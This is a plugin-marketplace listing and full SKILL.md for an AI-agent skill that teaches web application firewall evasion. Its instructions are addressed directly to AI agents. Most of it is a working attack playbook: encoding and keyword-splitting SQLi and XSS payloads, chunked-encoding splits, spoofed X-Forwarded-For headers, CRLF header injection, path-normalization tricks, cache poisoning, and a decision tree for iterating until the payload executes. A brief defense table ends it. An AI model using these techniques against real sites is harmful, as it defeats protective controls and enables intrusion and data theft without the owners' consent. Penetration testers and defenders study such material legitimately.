PluginBench
Skill
Fail
Audit score 45

waf-bypass-techniques

yaklang/hack-skills

WAF identification and generic evasion techniques for SQLi, XSS, and RCE payloads.

What is waf-bypass-techniques?

Covers WAF fingerprinting, encoding bypasses, protocol-level tricks (chunked transfer, HTTP/2, parameter pollution), and path normalization. Use when a web application firewall blocks injection payloads and you need systematic evasion strategies. For product-specific bypasses (Cloudflare, AWS WAF, ModSecurity, Akamai), reference the WAF_PRODUCT_MATRIX.md.

  • Identify and fingerprint WAF vendors using behavioral analysis and response headers
  • Apply encoding bypasses (URL, Unicode, HTML entities, hex, mixed case, null bytes)
  • Exploit chunked transfer encoding and HTTP/2 binary frame bypasses
  • Leverage HTTP parameter pollution (HPP) to create discrepancies between WAF and app parsing
  • Manipulate path normalization (dot segments, double slashes, null bytes, semicolons) to bypass path-based rules
  • Use Content-Type switching and multipart boundary abuse to evade format-specific WAF parsers

How to install waf-bypass-techniques

npx skills add https://github.com/yaklang/hack-skills --skill waf-bypass-techniques
Prerequisites
  • wafw00f tool for WAF fingerprinting
  • Understanding of HTTP/1.1 and HTTP/2 protocols
  • Knowledge of target application's backend (PHP, ASP.NET, Python, Node.js, Java) to predict parameter handling
  • Familiarity with SQL injection and XSS payloads (see sqli-sql-injection and xss-cross-site-scripting skills)
Claude Code
Cursor
Windsurf
Cline

How to use waf-bypass-techniques

  1. 1.Run wafw00f or nmap WAF detection script to identify the WAF vendor and version
  2. 2.Send a benign request and an obvious attack payload to fingerprint WAF behavior (block page, status code, latency)
  3. 3.Select encoding bypass technique based on WAF type and payload (URL encode, double encode, Unicode, hex)
  4. 4.If encoding fails, try protocol-level bypasses: chunked transfer encoding, HTTP/2 downgrade, or parameter pollution
  5. 5.Test path normalization tricks (dot segments, semicolons, null bytes) if the target uses path-based filtering
  6. 6.Switch Content-Type header or use multipart/form-data to evade format-specific inspection
  7. 7.Combine multiple techniques iteratively until payload passes WAF and reaches the application
  8. 8.Validate successful bypass by confirming the payload executes on the backend

Use cases

Good for
  • Bypass WAF blocking SQLi payloads by encoding keywords and using chunked transfer encoding
  • Evade XSS filters by switching Content-Type to JSON or using alternative HTML tags (svg/onload instead of script)
  • Craft parameter pollution attacks where WAF sees benign input but app processes malicious value
  • Use path normalization tricks (e.g., /./admin or /admin;jsessionid=x) to access restricted endpoints
  • Combine multiple techniques (encoding + HPP + path tricks) when single methods fail
Who it's for
  • Security researchers and penetration testers assessing WAF effectiveness
  • Red teamers conducting authorized security assessments against protected applications
  • Developers understanding WAF evasion to improve detection rules
  • Bug bounty hunters bypassing WAF to demonstrate vulnerabilities

waf-bypass-techniques FAQ

What's the difference between encoding bypasses and protocol-level bypasses?

Encoding bypasses (URL, Unicode, hex) transform the payload syntax so WAF pattern matching fails but the app still decodes and executes it. Protocol-level bypasses (chunked encoding, HTTP/2, parameter pollution) exploit differences in how WAF and app parse HTTP structure, allowing the same payload to be invisible to WAF but visible to the app.

How do I know which encoding technique to try first?

Start with URL encoding and double URL encoding (most common). If blocked, try mixed case for SQL keywords. For XSS, try HTML entities or Unicode. Use wafw00f output and the block page content to infer the WAF's parsing logic — if it mentions 'encoding' or 'normalization', try overlong UTF-8 or null bytes.

What is HTTP Parameter Pollution (HPP) and when does it work?

HPP exploits different servers' handling of duplicate parameters. For example, PHP uses the last value (?a=1&a=2 → a=2) while ASP.NET concatenates (?a=1&a=2 → a=1,2). WAF checks a=1 (benign), but the app uses a=2 (malicious). It works when WAF and app are different technologies or have different parsing logic.

Can I bypass WAF with path normalization tricks like /./admin or /admin%00?

Yes, if the WAF and app normalize paths differently. /./admin may be collapsed by the app but seen as /admin by WAF. /admin%00.jpg may be truncated to /admin by the app (null byte) but seen as /admin%00.jpg by WAF. These work on legacy systems; modern WAFs normalize before matching.

What should I do if all generic bypasses fail?

Load WAF_PRODUCT_MATRIX.md for product-specific techniques (Cloudflare, AWS WAF, ModSecurity, Akamai, Imperva). If the backend is Java, try Ghost Bits (16-bit char narrowing) which generates 255 Unicode variants per dangerous byte. Consider request smuggling to route requests around WAF entirely.

Full instructions (SKILL.md)

Source of truth, from yaklang/hack-skills.


name: waf-bypass-techniques description: >- WAF bypass methodology and generic evasion techniques. Use when a web application firewall blocks injection payloads (SQLi, XSS, RCE) and you need to craft bypasses using encoding, protocol-level tricks, or WAF-specific weaknesses.

SKILL: WAF Bypass Techniques — Evasion Playbook

AI LOAD INSTRUCTION: Covers WAF identification, generic bypass categories (encoding, protocol abuse, HTTP/2, parameter pollution), and a decision tree. For product-specific bypasses (Cloudflare, AWS WAF, ModSecurity, Akamai, etc.), load WAF_PRODUCT_MATRIX.md. Base models often suggest basic encoding but miss protocol-level bypasses and WAF behavioral quirks.

0. RELATED ROUTING

  • sqli-sql-injection for payloads to deliver after bypassing WAF
  • xss-cross-site-scripting for XSS payloads that need WAF evasion
  • request-smuggling when smuggling can route requests around WAF entirely
  • http-parameter-pollution HPP is itself a WAF bypass primitive
  • csp-bypass-advanced when WAF blocks inline scripts but CSP bypass is available
  • ghost-bits-cast-attack Java backends only — when every encoding trick above is blocked, use Ghost Bits: Java's 16-bit char to 8-bit byte narrowing produces 255 Unicode bypass variants per dangerous ASCII byte; re-enables WAF-patched CVEs in Tomcat, Spring, Jetty, Jackson, Fastjson, BCEL, and more

Product-Specific Reference

Load WAF_PRODUCT_MATRIX.md when you need per-product bypass techniques for Cloudflare, AWS WAF, ModSecurity CRS, Akamai, Imperva, F5 BIG-IP, or Sucuri.


1. PHASE 0 — IDENTIFY THE WAF

Before bypassing, know what you're fighting.

1.1 Tools

ToolUsage
wafw00f target.comFingerprint WAF vendor from response headers/behavior
nmap --script=http-waf-detectNSE script for WAF detection
Manual header inspectionServer, X-CDN, X-Cache, cf-ray (Cloudflare), x-sucuri-id, x-akamai-*

1.2 Behavioral Fingerprinting

1. Send benign request → record baseline response (status, headers, body size)
2. Send obvious attack: /?q=<script>alert(1)</script>
3. Compare: 403? Custom block page? Redirect? Connection reset?
4. Block page content reveals WAF: "Cloudflare", "Access Denied (Imperva)", "ModSecurity"
5. If transparent proxy: check response time difference (WAF adds latency)

2. GENERIC BYPASS CATEGORIES

2.1 Encoding Bypasses

TechniqueExampleBypasses
URL encoding%3Cscript%3EBasic string matching
Double URL encoding%253Cscript%253EWAFs that decode once, app decodes twice
Unicode encoding%u003Cscript%u003EIIS-specific Unicode normalization
HTML entities&#60;script&#62; or &#x3c;script&#x3e;WAFs not performing HTML entity decoding
Hex encoding (SQL)0x756E696F6E = unionWAFs matching SQL keywords
Octal encoding\74script\76Rare but some parsers handle it
Overlong UTF-8%C0%BC (invalid encoding for <)Legacy parsers with loose UTF-8 handling
Mixed caseSeLeCt, uNiOnCase-sensitive rule matching
Null bytesel%00ectWAFs that stop parsing at null

2.2 Chunked Transfer Encoding

Split the payload across HTTP chunks so no single chunk contains the blocked pattern:

POST /search HTTP/1.1
Transfer-Encoding: chunked

3
sel
3
ect
1
 
4
from
0

WAFs that inspect the full body may not reassemble chunks before matching.

2.3 HTTP/2 Binary Format Bypasses

HTTP/2 transmits headers as binary HPACK-encoded frames. Some WAFs only inspect after downgrading to HTTP/1.1:

  • Header names can contain characters illegal in HTTP/1.1
  • Pseudo-headers (:method, :path) bypass header-based WAF rules
  • H2 → H1 downgrade may introduce request smuggling (see request-smuggling)

2.4 HTTP Parameter Pollution (HPP)

Different servers handle duplicate parameters differently:

ServerBehavior for ?a=1&a=2
PHP/ApacheLast value: a=2
ASP.NET/IISConcatenated: a=1,2
Python/FlaskFirst value: a=1
Node.js/ExpressArray: a=[1,2]

WAF checks a=1 (benign), app uses a=2 (malicious). Or combine: a=sel&a=ect → ASP.NET sees a=sel,ect.

2.5 IP Source Spoofing (Bypass IP-Based Rules)

Headers trusted by some WAFs/apps for client IP:

X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Originating-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
CF-Connecting-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
Forwarded: for=127.0.0.1

Use case: WAF whitelists internal IPs or has different rule sets per source.

2.6 Path Normalization Tricks

TechniqueExampleEffect
Dot segments/./admin or /../target/adminWAF sees different path than app
Double slash//adminSome normalizers collapse, WAFs may not
URL encoding path/%61dminWAF sees encoded, app decodes
Null byte in path/admin%00.jpgLegacy: app truncates at null, WAF sees .jpg
Backslash (IIS)/admin\..\/secretIIS treats \ as /
Trailing dot/space/admin. or /admin%20OS-level normalization (Windows)
Semicolon (Tomcat)/admin;jsessionid=xTomcat strips after ;, WAF may not

2.7 Content-Type Manipulation

WAFs often have format-specific parsers. Switching Content-Type can bypass rules:

Default:  Content-Type: application/x-www-form-urlencoded  → WAF parses params
Switch:   Content-Type: application/json  → WAF may not parse JSON body
Switch:   Content-Type: multipart/form-data  → WAF may not inspect all parts
Switch:   Content-Type: text/xml  → WAF expects XML, payload in different format

Trick: If app accepts both JSON and form-urlencoded, use JSON — WAFs often have weaker JSON inspection rules.

2.8 Multipart Boundary Abuse

Content-Type: multipart/form-data; boundary=----WAFBypass

------WAFBypass
Content-Disposition: form-data; name="q"

<script>alert(1)</script>
------WAFBypass--

Variations: long boundary strings, boundary with special characters, missing final boundary, nested multipart.

2.9 Newline & Whitespace Injection

-- SQL keyword splitting
SEL
ECT * FROM users

-- SQL comment insertion
SEL/**/ECT * FR/**/OM users
UN/**/ION SEL/**/ECT 1,2,3

-- Tab/vertical tab as separator
SELECT\t*\tFROM\tusers

2.10 Keyword Splitting & Alternative Syntax

BlockedAlternative
UNION SELECTUNION ALL SELECT, UNION DISTINCT SELECT
OR 1=1OR 2>1, OR 'a'='a', `
<script><svg/onload=alert(1)>, <img src=x onerror=alert(1)>
alert(1)prompt(1), confirm(1), print() (Chrome)
eval()Function('code')(), setTimeout('code',0)
' OR '1'='1' OR 1-- -, '||'1
SLEEP(5)BENCHMARK(5000000,SHA1('x')), pg_sleep(5)

3. PROTOCOL-LEVEL BYPASS TECHNIQUES

3.1 Request Line Abuse

GET /path?q=attack HTTP/1.1    ← WAF inspects

vs.

GET http://target.com/path?q=attack HTTP/1.1   ← Absolute URI: some WAFs miss the path

3.2 Header Injection via CRLF

If WAF inspects original headers but app processes injected ones:

X-Custom: value\r\nX-Forwarded-For: 127.0.0.1

3.3 Connection-State Bypass

1. Establish connection through WAF (normal request)
2. On same keep-alive connection, send attack request
3. Some WAFs reduce inspection on subsequent requests in same connection

4. WAF BYPASS DECISION TREE

Payload blocked by WAF?
├── Identify WAF (wafw00f, response headers, block page)
│
├── Try encoding bypasses
│   ├── URL encode payload → still blocked?
│   ├── Double URL encode → still blocked?
│   ├── Unicode/overlong UTF-8 → still blocked?
│   ├── Mixed case keywords → still blocked?
│   └── HTML entities (for XSS) → still blocked?
│
├── Try protocol-level bypasses
│   ├── Switch Content-Type (JSON, multipart, XML)
│   │   └── App accepts alternate format? → re-send payload
│   ├── HTTP Parameter Pollution (duplicate params)
│   ├── Chunked Transfer-Encoding to split payload
│   ├── HTTP/2 direct if available (binary framing bypass)
│   └── Request line: absolute URI format
│
├── Try path-based bypasses
│   ├── Path normalization (/./path, //path, ;param)
│   ├── Different HTTP method (POST vs PUT vs PATCH)
│   └── Alternate endpoint serving same function
│
├── Try payload mutation
│   ├── SQL: comments (/**/), alternative functions, hex literals
│   ├── XSS: alternative tags/events, JS template literals
│   ├── RCE: wildcard abuse, string concatenation, variable expansion
│   └── Check WAF_PRODUCT_MATRIX.md for vendor-specific mutations
│
├── Try IP-source bypass
│   ├── X-Forwarded-For / True-Client-IP spoofing
│   ├── Access origin server directly (bypass CDN)
│   └── Find origin IP (Shodan, historical DNS, email headers)
│
└── Try request smuggling to skip WAF entirely
    └── See ../request-smuggling/SKILL.md

5. COMMON MISTAKES & TRICK NOTES

  1. Test bypass with actual exploitation, not just 200 OK: WAF may return 200 but strip the payload silently.
  2. WAFs often have size limits: Very large request bodies (>8KB–128KB depending on WAF) may bypass inspection entirely.
  3. Rate limiting ≠ WAF: Getting 429s is rate limiting, not payload blocking. Different bypass needed.
  4. CDN caching: If the WAF is at CDN level, cached responses bypass WAF on subsequent requests. Poison cache with clean request, exploit cache.
  5. Origin server direct access: If you find the origin IP behind CDN/WAF, connect directly — WAF is bypassed completely.
  6. Multipart file upload fields: WAFs often skip inspection of file content in multipart uploads — embed payload in filename or file content if reflected.

6. DEFENSE PERSPECTIVE

MeasureNotes
WAF + application-level input validationWAF is a layer, not a fix
Parameterized queriesEliminates SQLi regardless of WAF
CSP + output encodingEliminates XSS regardless of WAF
Regularly update WAF rulesVendor signatures lag behind new bypasses
Deny by default, not block-listAllowlist valid input patterns
Log and alert on WAF blocksBypass attempts are visible in logs